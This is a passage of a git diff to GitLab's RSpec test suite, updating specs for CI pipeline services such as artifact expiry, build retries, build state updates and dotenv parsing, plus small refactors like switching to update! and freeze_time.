+ ['test job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post']
+ )
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb b/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
index 3be5ac1f739..b5b3832ac00 100644
--- a/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
+++ b/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
@@ -101,7 +101,7 @@ RSpec.describe Ci::CreatePipelineService do
end
it 'contains only errors' do
- error_message = 'root config contains unknown keys: invalid'
+ error_message = 'jobs invalid config should implement a script: or a trigger: keyword'
expect(pipeline.yaml_errors).to eq(error_message)
expect(pipeline.error_messages.map(&:content)).to contain_exactly(error_message)
expect(pipeline.errors.full_messages).to contain_exactly(error_message)
diff --git a/spec/services/ci/create_pipeline_service_spec.rb b/spec/services/ci/create_pipeline_service_spec.rb
index db4c2f5a047..e0893ed6de3 100644
--- a/spec/services/ci/create_pipeline_service_spec.rb
+++ b/spec/services/ci/create_pipeline_service_spec.rb
@@ -223,7 +223,7 @@ RSpec.describe Ci::CreatePipelineService do
context 'auto-cancel enabled' do
before do
- project.update(auto_cancel_pending_pipelines: 'enabled')
+ project.update!(auto_cancel_pending_pipelines: 'enabled')
end
it 'does not cancel HEAD pipeline' do
@@ -248,7 +248,7 @@ RSpec.describe Ci::CreatePipelineService do
end
it 'cancel created outdated pipelines', :sidekiq_might_not_need_inline do
- pipeline_on_previous_commit.update(status: 'created')
+ pipeline_on_previous_commit.update!(status: 'created')
pipeline
expect(pipeline_on_previous_commit.reload).to have_attributes(status: 'canceled', auto_canceled_by_id: pipeline.id)
@@ -439,7 +439,7 @@ RSpec.describe Ci::CreatePipelineService do
context 'auto-cancel disabled' do
before do
- project.update(auto_cancel_pending_pipelines: 'disabled')
+ project.update!(auto_cancel_pending_pipelines: 'disabled')
end
it 'does not auto cancel pending non-HEAD pipelines' do
@@ -513,7 +513,7 @@ RSpec.describe Ci::CreatePipelineService do
it 'pull it from Auto-DevOps' do
pipeline = execute_service
expect(pipeline).to be_auto_devops_source
- expect(pipeline.builds.map(&:name)).to match_array(%w[build code_quality eslint-sast secret_detection_default_branch secrets-sast test])
+ expect(pipeline.builds.map(&:name)).to match_array(%w[build code_quality eslint-sast secret_detection_default_branch test])
end
end
diff --git a/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb b/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb
index 79443f16276..1c96be42a2f 100644
--- a/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb
+++ b/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb
@@ -11,6 +11,10 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared
let(:service) { described_class.new }
let!(:artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
+ before do
+ artifact.job.pipeline.unlocked!
+ end
+
context 'when artifact is expired' do
context 'when artifact is not locked' do
before do
@@ -88,6 +92,8 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared
before do
stub_const('Ci::DestroyExpiredJobArtifactsService::LOOP_LIMIT', 1)
stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1)
+
+ second_artifact.job.pipeline.unlocked!
end
let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
@@ -102,7 +108,9 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared
end
context 'when there are no artifacts' do
- let!(:artifact) { }
+ before do
+ artifact.destroy!
+ end
it 'does not raise error' do
expect { subject }.not_to raise_error
@@ -112,6 +120,8 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared
context 'when there are artifacts more than batch sizes' do
before do
stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1)
+
+ second_artifact.job.pipeline.unlocked!
end
let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
@@ -120,5 +130,45 @@ RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared
expect { subject }.to change { Ci::JobArtifact.count }.by(-2)
end
end
+
+ context 'when artifact is a pipeline artifact' do
+ context 'when artifacts are expired' do
+ let!(:pipeline_artifact_1) { create(:ci_pipeline_artifact, expire_at: 1.week.ago) }
+ let!(:pipeline_artifact_2) { create(:ci_pipeline_artifact, expire_at: 1.week.ago) }
+
+ before do
+ [pipeline_artifact_1, pipeline_artifact_2].each { |pipeline_artifact| pipeline_artifact.pipeline.unlocked! }
+ end
+
+ it 'destroys pipeline artifacts' do
+ expect { subject }.to change { Ci::PipelineArtifact.count }.by(-2)
+ end
+ end
+
+ context 'when artifacts are not expired' do
+ let!(:pipeline_artifact_1) { create(:ci_pipeline_artifact, expire_at: 2.days.from_now) }
+ let!(:pipeline_artifact_2) { create(:ci_pipeline_artifact, expire_at: 2.days.from_now) }
+
+ before do
+ [pipeline_artifact_1, pipeline_artifact_2].each { |pipeline_artifact| pipeline_artifact.pipeline.unlocked! }
+ end
+
+ it 'does not destroy pipeline artifacts' do
+ expect { subject }.not_to change { Ci::PipelineArtifact.count }
+ end
+ end
+ end
+
+ context 'when some artifacts are locked' do
+ before do
+ pipeline = create(:ci_pipeline, locked: :artifacts_locked)
+ job = create(:ci_build, pipeline: pipeline)
+ create(:ci_job_artifact, expire_at: 1.day.ago, job: job)
+ end
+
+ it 'destroys only unlocked artifacts' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
+ end
+ end
end
end
diff --git a/spec/services/ci/destroy_pipeline_service_spec.rb b/spec/services/ci/destroy_pipeline_service_spec.rb
index 23cbe683d2f..6977c99e335 100644
--- a/spec/services/ci/destroy_pipeline_service_spec.rb
+++ b/spec/services/ci/destroy_pipeline_service_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe ::Ci::DestroyPipelineService do
end
it 'does not log an audit event' do
- expect { subject }.not_to change { SecurityEvent.count }
+ expect { subject }.not_to change { AuditEvent.count }
end
context 'when the pipeline has jobs' do
diff --git a/spec/services/ci/generate_coverage_reports_service_spec.rb b/spec/services/ci/generate_coverage_reports_service_spec.rb
index a3ed2eec713..d39053adebc 100644
--- a/spec/services/ci/generate_coverage_reports_service_spec.rb
+++ b/spec/services/ci/generate_coverage_reports_service_spec.rb
@@ -15,21 +15,25 @@ RSpec.describe Ci::GenerateCoverageReportsService do
let!(:head_pipeline) { merge_request.head_pipeline }
let!(:base_pipeline) { nil }
- it 'returns status and data' do
+ it 'returns status and data', :aggregate_failures do
+ expect_any_instance_of(Ci::PipelineArtifact) do |instance|
+ expect(instance).to receive(:present)
+ expect(instance).to receive(:for_files).with(merge_request.new_paths).and_call_original
+ end
+
expect(subject[:status]).to eq(:parsed)
expect(subject[:data]).to eq(files: {})
end
end
- context 'when head pipeline has corrupted coverage reports' do
+ context 'when head pipeline does not have a coverage report artifact' do
let!(:merge_request) { create(:merge_request, :with_coverage_reports, source_project: project) }
let!(:service) { described_class.new(project, nil, id: merge_request.id) }
let!(:head_pipeline) { merge_request.head_pipeline }
let!(:base_pipeline) { nil }
before do
- build = create(:ci_build, pipeline: head_pipeline, project: head_pipeline.project)
- create(:ci_job_artifact, :coverage_with_corrupted_data, job: build, project: project)
+ head_pipeline.pipeline_artifacts.destroy_all # rubocop: disable Cop/DestroyAll
end
it 'returns status and error message' do
diff --git a/spec/services/ci/parse_dotenv_artifact_service_spec.rb b/spec/services/ci/parse_dotenv_artifact_service_spec.rb
index a5f01187a83..91b81af9fd1 100644
--- a/spec/services/ci/parse_dotenv_artifact_service_spec.rb
+++ b/spec/services/ci/parse_dotenv_artifact_service_spec.rb
@@ -66,12 +66,13 @@ RSpec.describe Ci::ParseDotenvArtifactService do
end
context 'when multiple key/value pairs exist in one line' do
- let(:blob) { 'KEY1=VAR1KEY2=VAR1' }
+ let(:blob) { 'KEY=VARCONTAINING=EQLS' }
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to eq("Validation failed: Key can contain only letters, digits and '_'.")
- expect(subject[:http_status]).to eq(:bad_request)
+ it 'parses the dotenv data' do
+ subject
+
+ expect(build.job_variables.as_json).to contain_exactly(
+ hash_including('key' => 'KEY', 'value' => 'VARCONTAINING=EQLS'))
end
end
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_build_fails_other_build_succeeds_deploy_needs_one_build_and_test.yml b/spec/services/ci/pipeline_processing/test_cases/dag_build_fails_other_build_succeeds_deploy_needs_one_build_and_test.yml
index a133023b12d..ef4ddff9b64 100644
--- a/spec/services/ci/pipeline_processing/test_cases/dag_build_fails_other_build_succeeds_deploy_needs_one_build_and_test.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_build_fails_other_build_succeeds_deploy_needs_one_build_and_test.yml
@@ -47,16 +47,13 @@ transitions:
- event: drop
jobs: [build_2]
expect:
- pipeline: running
+ pipeline: failed
stages:
build: failed
test: skipped
- deploy: pending
+ deploy: skipped
jobs:
build_1: success
build_2: failed
test: skipped
- deploy: pending
-
-# TODO: should we run deploy?
-# Further discussions: https://gitlab.com/gitlab-org/gitlab/-/issues/213080
+ deploy: skipped
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_builds_succeed_test_on_failure_deploy_needs_one_build_and_test.yml b/spec/services/ci/pipeline_processing/test_cases/dag_builds_succeed_test_on_failure_deploy_needs_one_build_and_test.yml
index f324525bd56..29c1562389c 100644
--- a/spec/services/ci/pipeline_processing/test_cases/dag_builds_succeed_test_on_failure_deploy_needs_one_build_and_test.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_builds_succeed_test_on_failure_deploy_needs_one_build_and_test.yml
@@ -34,30 +34,13 @@ transitions:
- event: success
jobs: [build_1, build_2]
expect:
- pipeline: running
- stages:
- build: success
- test: skipped
- deploy: pending
- jobs:
- build_1: success
- build_2: success
- test: skipped
- deploy: pending
-
- - event: success
- jobs: [deploy]
- expect:
pipeline: success
stages:
build: success
test: skipped
- deploy: success
+ deploy: skipped
jobs:
build_1: success
build_2: success
test: skipped
- deploy: success
-
-# TODO: should we run deploy?
-# Further discussions: https://gitlab.com/gitlab-org/gitlab/-/issues/213080
+ deploy: skipped
diff --git a/spec/services/ci/pipelines/create_artifact_service_spec.rb b/spec/services/ci/pipelines/create_artifact_service_spec.rb
new file mode 100644
index 00000000000..d5e9cf83a6d
--- /dev/null
+++ b/spec/services/ci/pipelines/create_artifact_service_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Ci::Pipelines::CreateArtifactService do
+ describe '#execute' do
+ subject { described_class.new.execute(pipeline) }
+
+ context 'when pipeline has coverage reports' do
+ let(:pipeline) { create(:ci_pipeline, :with_coverage_reports) }
+
+ context 'when pipeline is finished' do
+ it 'creates a pipeline artifact' do
+ subject
+
+ expect(Ci::PipelineArtifact.count).to eq(1)
+ end
+
+ it 'persists the default file name' do
+ subject
+
+ file = Ci::PipelineArtifact.first.file
+
+ expect(file.filename).to eq('code_coverage.json')
+ end
+
+ it 'sets expire_at to 1 week' do
+ freeze_time do
+ subject
+
+ pipeline_artifact = Ci::PipelineArtifact.first
+
+ expect(pipeline_artifact.expire_at).to eq(1.week.from_now)
+ end
+ end
+ end
+
+ context 'when feature is disabled' do
+ it 'does not create a pipeline artifact' do
+ stub_feature_flags(coverage_report_view: false)
+
+ subject
+
+ expect(Ci::PipelineArtifact.count).to eq(0)
+ end
+ end
+
+ context 'when pipeline artifact has already been created' do
+ it 'do not raise an error and do not persist the same artifact twice' do
+ expect { 2.times { described_class.new.execute(pipeline) } }.not_to raise_error(ActiveRecord::RecordNotUnique)
+
+ expect(Ci::PipelineArtifact.count).to eq(1)
+ end
+ end
+ end
+
+ context 'when pipeline is running and coverage report does not exist' do
+ let(:pipeline) { create(:ci_pipeline, :running) }
+
+ it 'does not persist data' do
+ subject
+
+ expect(Ci::PipelineArtifact.count).to eq(0)
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/register_job_service_spec.rb b/spec/services/ci/register_job_service_spec.rb
index 921f5ba4c7e..0cdc8d2c870 100644
--- a/spec/services/ci/register_job_service_spec.rb
+++ b/spec/services/ci/register_job_service_spec.rb
@@ -15,14 +15,14 @@ module Ci
describe '#execute' do
context 'runner follow tag list' do
it "picks build with the same tag" do
- pending_job.update(tag_list: ["linux"])
- specific_runner.update(tag_list: ["linux"])
+ pending_job.update!(tag_list: ["linux"])
+ specific_runner.update!(tag_list: ["linux"])
expect(execute(specific_runner)).to eq(pending_job)
end
it "does not pick build with different tag" do
- pending_job.update(tag_list: ["linux"])
- specific_runner.update(tag_list: ["win32"])
+ pending_job.update!(tag_list: ["linux"])
+ specific_runner.update!(tag_list: ["win32"])
expect(execute(specific_runner)).to be_falsey
end
@@ -31,24 +31,24 @@ module Ci
end
it "does not pick build with tag" do
- pending_job.update(tag_list: ["linux"])
+ pending_job.update!(tag_list: ["linux"])
expect(execute(specific_runner)).to be_falsey
end
it "pick build without tag" do
- specific_runner.update(tag_list: ["win32"])
+ specific_runner.update!(tag_list: ["win32"])
expect(execute(specific_runner)).to eq(pending_job)
end
end
context 'deleted projects' do
before do
- project.update(pending_delete: true)
+ project.update!(pending_delete: true)
end
context 'for shared runners' do
before do
- project.update(shared_runners_enabled: true)
+ project.update!(shared_runners_enabled: true)
end
it 'does not pick a build' do
@@ -65,7 +65,7 @@ module Ci
context 'allow shared runners' do
before do
- project.update(shared_runners_enabled: true)
+ project.update!(shared_runners_enabled: true)
end
context 'for multiple builds' do
@@ -131,7 +131,7 @@ module Ci
context 'disallow shared runners' do
before do
- project.update(shared_runners_enabled: false)
+ project.update!(shared_runners_enabled: false)
end
context 'shared runner' do
@@ -152,7 +152,7 @@ module Ci
context 'disallow when builds are disabled' do
before do
- project.update(shared_runners_enabled: true, group_runners_enabled: true)
+ project.update!(shared_runners_enabled: true, group_runners_enabled: true)
project.project_feature.update_attribute(:builds_access_level, ProjectFeature::DISABLED)
end
@@ -591,8 +591,8 @@ module Ci
.with(:job_queue_duration_seconds, anything, anything, anything)
.and_return(job_queue_duration_seconds)
- project.update(shared_runners_enabled: true)
- pending_job.update(created_at: current_time - 3600, queued_at: current_time - 1800)
+ project.update!(shared_runners_enabled: true)
+ pending_job.update!(created_at: current_time - 3600, queued_at: current_time - 1800)
end
shared_examples 'attempt counter collector' do
@@ -661,7 +661,7 @@ module Ci
context 'when pending job with queued_at=nil is used' do
before do
- pending_job.update(queued_at: nil)
+ pending_job.update!(queued_at: nil)
end
it_behaves_like 'attempt counter collector'
diff --git a/spec/services/ci/retry_build_service_spec.rb b/spec/services/ci/retry_build_service_spec.rb
index 5a245415b32..51741440075 100644
--- a/spec/services/ci/retry_build_service_spec.rb
+++ b/spec/services/ci/retry_build_service_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Ci::RetryBuildService do
described_class.new(project, user)
end
- clone_accessors = described_class::CLONE_ACCESSORS
+ clone_accessors = described_class.clone_accessors
reject_accessors =
%i[id status user token token_encrypted coverage trace runner
@@ -50,7 +50,7 @@ RSpec.describe Ci::RetryBuildService do
metadata runner_session trace_chunks upstream_pipeline_id
artifacts_file artifacts_metadata artifacts_size commands
resource resource_group_id processed security_scans author
- pipeline_id report_results].freeze
+ pipeline_id report_results pending_state pages_deployments].freeze
shared_examples 'build duplication' do
let(:another_pipeline) { create(:ci_empty_pipeline, project: project) }
@@ -70,7 +70,7 @@ RSpec.describe Ci::RetryBuildService do
# Make sure that build has both `stage_id` and `stage` because FactoryBot
# can reset one of the fields when assigning another. We plan to deprecate
# and remove legacy `stage` column in the future.
- build.update(stage: 'test', stage_id: stage.id)
+ build.update!(stage: 'test', stage_id: stage.id)
# Make sure we have one instance for every possible job_artifact_X
# associations to check they are correctly rejected on build duplication.
@@ -143,6 +143,8 @@ RSpec.describe Ci::RetryBuildService do
Ci::Build.reflect_on_all_associations.map(&:name) +
[:tag_list, :needs_attributes]
+ current_accessors << :secrets if Gitlab.ee?
+
current_accessors.uniq!
expect(current_accessors).to include(*processed_accessors)
@@ -181,17 +183,24 @@ RSpec.describe Ci::RetryBuildService do
service.execute(build)
end
- context 'when there are subsequent builds that are skipped' do
+ context 'when there are subsequent processables that are skipped' do
let!(:subsequent_build) do
create(:ci_build, :skipped, stage_idx: 2,
pipeline: pipeline,
stage: 'deploy')
end
- it 'resumes pipeline processing in a subsequent stage' do
+ let!(:subsequent_bridge) do
+ create(:ci_bridge, :skipped, stage_idx: 2,
+ pipeline: pipeline,
+ stage: 'deploy')
+ end
+
+ it 'resumes pipeline processing in the subsequent stage' do
service.execute(build)
expect(subsequent_build.reload).to be_created
+ expect(subsequent_bridge.reload).to be_created
end
end
@@ -223,6 +232,19 @@ RSpec.describe Ci::RetryBuildService do
end
end
end
+
+ context 'when the pipeline is a child pipeline and the bridge is depended' do
+ let!(:parent_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:pipeline) { create(:ci_pipeline, project: project) }
+ let!(:bridge) { create(:ci_bridge, :strategy_depend, pipeline: parent_pipeline, status: 'success') }
+ let!(:source_pipeline) { create(:ci_sources_pipeline, pipeline: pipeline, source_job: bridge) }
+
+ it 'marks source bridge as pending' do
+ service.execute(build)
+
+ expect(bridge.reload).to be_pending
+ end
+ end
end
context 'when user does not have ability to execute build' do
diff --git a/spec/services/ci/retry_pipeline_service_spec.rb b/spec/services/ci/retry_pipeline_service_spec.rb
index 212c8f99865..526c2f39b46 100644
--- a/spec/services/ci/retry_pipeline_service_spec.rb
+++ b/spec/services/ci/retry_pipeline_service_spec.rb
@@ -280,6 +280,20 @@ RSpec.describe Ci::RetryPipelineService, '#execute' do
expect(build3.reload.scheduling_type).to eq('dag')
end
end
+
+ context 'when the pipeline is a downstream pipeline and the bridge is depended' do
+ let!(:bridge) { create(:ci_bridge, :strategy_depend, status: 'success') }
+
+ before do
+ create(:ci_sources_pipeline, pipeline: pipeline, source_job: bridge)
+ end
+
+ it 'marks source bridge as pending' do
+ service.execute(pipeline)
+
+ expect(bridge.reload).to be_pending
+ end
+ end
end
context 'when user is not allowed to retry pipeline' do
diff --git a/spec/services/ci/update_build_state_service_spec.rb b/spec/services/ci/update_build_state_service_spec.rb
new file mode 100644
index 00000000000..f5ad732bf7e
--- /dev/null
+++ b/spec/services/ci/update_build_state_service_spec.rb
@@ -0,0 +1,238 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::UpdateBuildStateService do
+ let(:project) { create(:project) }
+ let(:pipeline) { create(:ci_pipeline, project: project) }
+ let(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ let(:metrics) { spy('metrics') }
+
+ subject { described_class.new(build, params) }
+
+ before do
+ stub_feature_flags(ci_enable_live_trace: true)
+ end
+
+ context 'when build does not have checksum' do
+ context 'when state has changed' do
+ let(:params) { { state: 'success' } }
+
+ it 'updates a state of a running build' do
+ subject.execute
+
+ expect(build).to be_success
+ end
+
+ it 'returns 200 OK status' do
+ result = subject.execute
+
+ expect(result.status).to eq 200
+ end
+
+ it 'does not increment finalized trace metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :finalized)
+ end
+ end
+
+ context 'when it is a heartbeat request' do
+ let(:params) { { state: 'success' } }
+
+ it 'updates a build timestamp' do
+ expect { subject.execute }.to change { build.updated_at }
+ end
+ end
+
+ context 'when request payload carries a trace' do
+ let(:params) { { state: 'success', trace: 'overwritten' } }
+
+ it 'overwrites a trace' do
+ result = subject.execute
+
+ expect(build.trace.raw).to eq 'overwritten'
+ expect(result.status).to eq 200
+ end
+
+ it 'updates overwrite operation metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :overwrite)
+ end
+ end
+
+ context 'when state is unknown' do
+ let(:params) { { state: 'unknown' } }
+
+ it 'responds with 400 bad request' do
+ result = subject.execute
+
+ expect(result.status).to eq 400
+ expect(build).to be_running
+ end
+ end
+ end
+
+ context 'when build has a checksum' do
+ let(:params) do
+ { checksum: 'crc32:12345678', state: 'failed', failure_reason: 'script_failure' }
+ end
+
+ context 'when build trace has been migrated' do
+ before do
+ create(:ci_build_trace_chunk, :database_with_data, build: build)
+ end
+
+ it 'updates a build state' do
+ subject.execute
+
+ expect(build).to be_failed
+ end
+
+ it 'responds with 200 OK status' do
+ result = subject.execute
+
+ expect(result.status).to eq 200
+ end
+
+ it 'increments trace finalized operation metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :finalized)
+ end
+ end
+
+ context 'when build trace has not been migrated yet' do
+ before do
+ create(:ci_build_trace_chunk, :redis_with_data, build: build)
+ end
+
+ it 'does not update a build state' do
+ subject.execute
+
+ expect(build).to be_running
+ end
+
+ it 'responds with 202 accepted' do
+ result = subject.execute
+
+ expect(result.status).to eq 202
+ end
+
+ it 'schedules live chunks for migration' do
+ expect(Ci::BuildTraceChunkFlushWorker)
+ .to receive(:perform_async)
+ .with(build.trace_chunks.first.id)
+
+ subject.execute
+ end
+
+ it 'increments trace accepted operation metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :accepted)
+ end
+
+ it 'creates a pending state record' do
+ subject.execute
+
+ build.pending_state.then do |status|
+ expect(status).to be_present
+ expect(status.state).to eq 'failed'
+ expect(status.trace_checksum).to eq 'crc32:12345678'
+ expect(status.failure_reason).to eq 'script_failure'
+ end
+ end
+
+ context 'when build pending state is outdated' do
+ before do
+ build.create_pending_state(
+ state: 'failed',
+ trace_checksum: 'crc32:12345678',
+ failure_reason: 'script_failure',
+ created_at: 10.minutes.ago
+ )
+ end
+
+ it 'responds with 200 OK' do
+ result = subject.execute
+
+ expect(result.status).to eq 200
+ end
+
+ it 'updates build state' do
+ subject.execute
+
+ expect(build.reload).to be_failed
+ expect(build.failure_reason).to eq 'script_failure'
+ end
+
+ it 'increments discarded traces metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :discarded)
+ end
+
+ it 'does not increment finalized trace metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :finalized)
+ end
+ end
+
+ context 'when build pending state has changes' do
+ before do
+ build.create_pending_state(
+ state: 'success',
+ created_at: 10.minutes.ago
+ )
+ end
+
+ it 'uses stored state and responds with 200 OK' do
+ result = subject.execute
+
+ expect(result.status).to eq 200
+ end
+
+ it 'increments conflict trace metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :conflict)
+ end
+ end
+
+ context 'when live traces are disabled' do
+ before do
+ stub_feature_flags(ci_enable_live_trace: false)
+ end
+
+ it 'responds with 200 OK' do
+ result = subject.execute
+
+ expect(result.status).to eq 200
+ end
+ end
+ end
+ end
+
+ def execute_with_stubbed_metrics!
+ described_class
+ .new(build, params, metrics)
+ .execute
+ end
+end
diff --git a/spec/services/ci/update_runner_service_spec.rb b/spec/services/ci/update_runner_service_spec.rb
index cad9e893335..1c875b2f54a 100644
--- a/spec/services/ci/update_runner_service_spec.rb
+++ b/spec/services/ci/update_runner_service_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe Ci::UpdateRunnerService do
end
def update
- described_class.new(runner).update(params)
+ described_class.new(runner).update(params) # rubocop: disable Rails/SaveBang
end
end
end
diff --git a/spec/services/ci/web_ide_config_service_spec.rb b/spec/services/ci/web_ide_config_service_spec.rb
deleted file mode 100644
index 437b468cec8..00000000000
--- a/spec/services/ci/web_ide_config_service_spec.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::WebIdeConfigService do
- let_it_be(:project) { create(:project, :repository) }
- let_it_be(:user) { create(:user) }
- let(:sha) { 'sha' }
-
- describe '#execute' do
- subject { described_class.new(project, user, sha: sha).execute }
-
- context 'when insufficient permission' do
- it 'returns an error' do
- is_expected.to include(
- status: :error,
- message: 'Insufficient permissions to read configuration')
- end
- end
-
- context 'for developer' do
- before do
- project.add_developer(user)
- end
-
- context 'when file is missing' do
- it 'returns an error' do
- is_expected.to include(
- status: :error,
- message: "Failed to load Web IDE config file '.gitlab/.gitlab-webide.yml' for sha")
- end
- end
-
- context 'when file is present' do
- before do
- allow(project.repository).to receive(:blob_data_at).with('sha', anything) do
- config_content
- end
- end
-
- context 'content is not valid' do
- let(:config_content) { 'invalid content' }
-
- it 'returns an error' do
- is_expected.to include(
- status: :error,
- message: "Invalid configuration format")
- end
- end
-
- context 'content is valid, but terminal not defined' do
- let(:config_content) { '{}' }
-
- it 'returns success' do
- is_expected.to include(
- status: :success,
- terminal: nil)
- end
- end
-
- context 'content is valid, with enabled terminal' do
- let(:config_content) { 'terminal: {}' }
-
- it 'returns success' do
- is_expected.to include(
- status: :success,
- terminal: {
- tag_list: [],
- yaml_variables: [],
- options: { script: ["sleep 60"] }
- })
- end
- end
-
- context 'content is valid, with custom terminal' do
- let(:config_content) { 'terminal: { before_script: [ls] }' }
-
- it 'returns success' do
- is_expected.to include(
- status: :success,
- terminal: {
- tag_list: [],
- yaml_variables: [],
- options: { before_script: ["ls"], script: ["sleep 60"] }
- })
- end
- end
- end
- end
- end
-end
diff --git a/spec/services/clusters/applications/schedule_update_service_spec.rb b/spec/services/clusters/applications/schedule_update_service_spec.rb
index f559fb1b7aa..01a75a334e6 100644
--- a/spec/services/clusters/applications/schedule_update_service_spec.rb
+++ b/spec/services/clusters/applications/schedule_update_service_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Clusters::Applications::ScheduleUpdateService do
let(:project) { create(:project) }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'when application is able to be updated' do
diff --git a/spec/services/clusters/aws/provision_service_spec.rb b/spec/services/clusters/aws/provision_service_spec.rb
index 529e1d26575..52612e5ac40 100644
--- a/spec/services/clusters/aws/provision_service_spec.rb
+++ b/spec/services/clusters/aws/provision_service_spec.rb
@@ -22,6 +22,7 @@ RSpec.describe Clusters::Aws::ProvisionService do
[
{ parameter_key: 'ClusterName', parameter_value: provider.cluster.name },
{ parameter_key: 'ClusterRole', parameter_value: provider.role_arn },
+ { parameter_key: 'KubernetesVersion', parameter_value: provider.kubernetes_version },
{ parameter_key: 'ClusterControlPlaneSecurityGroup', parameter_value: provider.security_group_id },
{ parameter_key: 'VpcId', parameter_value: provider.vpc_id },
{ parameter_key: 'Subnets', parameter_value: provider.subnet_ids.join(',') },
diff --git a/spec/services/deployments/after_create_service_spec.rb b/spec/services/deployments/after_create_service_spec.rb
index 3287eed03b7..6cdb4c88191 100644
--- a/spec/services/deployments/after_create_service_spec.rb
+++ b/spec/services/deployments/after_create_service_spec.rb
@@ -122,7 +122,7 @@ RSpec.describe Deployments::AfterCreateService do
end
it 'renews auto stop at' do
- Timecop.freeze do
+ freeze_time do
environment.update!(auto_stop_at: nil)
expect { subject.execute }
diff --git a/spec/services/design_management/move_designs_service_spec.rb b/spec/services/design_management/move_designs_service_spec.rb
index a05518dc28d..a43f0a2f805 100644
--- a/spec/services/design_management/move_designs_service_spec.rb
+++ b/spec/services/design_management/move_designs_service_spec.rb
@@ -32,30 +32,6 @@ RSpec.describe DesignManagement::MoveDesignsService do
describe '#execute' do
subject { service.execute }
- context 'the feature is unavailable' do
- let(:current_design) { designs.first }
- let(:previous_design) { designs.second }
- let(:next_design) { designs.third }
-
- before do
- stub_feature_flags(reorder_designs: false)
- end
-
- it 'raises cannot_move' do
- expect(subject).to be_error.and(have_attributes(message: :cannot_move))
- end
-
- context 'but it is available on the current project' do
- before do
- stub_feature_flags(reorder_designs: issue.project)
- end
-
- it 'is successful' do
- expect(subject).to be_success
- end
- end
- end
-
context 'the user cannot move designs' do
let(:current_design) { designs.first }
let(:current_user) { build_stubbed(:user) }
@@ -124,7 +100,7 @@ RSpec.describe DesignManagement::MoveDesignsService do
expect(subject).to be_success
- expect(issue.designs.ordered(issue.project)).to eq([
+ expect(issue.designs.ordered).to eq([
# Existing designs which already had a relative_position set.
# These should stay at the beginning, in the same order.
other_design1,
diff --git a/spec/services/error_tracking/list_projects_service_spec.rb b/spec/services/error_tracking/list_projects_service_spec.rb
index 8bc632349fa..ce391bd1ca0 100644
--- a/spec/services/error_tracking/list_projects_service_spec.rb
+++ b/spec/services/error_tracking/list_projects_service_spec.rb
@@ -121,7 +121,7 @@ RSpec.describe ErrorTracking::ListProjectsService do
end
context 'error_tracking_setting is nil' do
- let(:error_tracking_setting) { build(:project_error_tracking_setting) }
+ let(:error_tracking_setting) { build(:project_error_tracking_setting, project: project) }
let(:new_api_url) { new_api_host + 'api/0/projects/org/proj/' }
before do
diff --git a/spec/services/event_create_service_spec.rb b/spec/services/event_create_service_spec.rb
index a91519a710f..3c67c15f10a 100644
--- a/spec/services/event_create_service_spec.rb
+++ b/spec/services/event_create_service_spec.rb
@@ -8,6 +8,16 @@ RSpec.describe EventCreateService do
let_it_be(:user, reload: true) { create :user }
let_it_be(:project) { create(:project) }
+ shared_examples 'it records the event in the event counter' do
+ specify do
+ tracking_params = { event_action: event_action, date_from: Date.yesterday, date_to: Date.today }
+
+ expect { subject }
+ .to change { Gitlab::UsageDataCounters::TrackUniqueEvents.count_unique_events(tracking_params) }
+ .by(1)
+ end
+ end
+
describe 'Issues' do
describe '#open_issue' do
let(:issue) { create(:issue) }
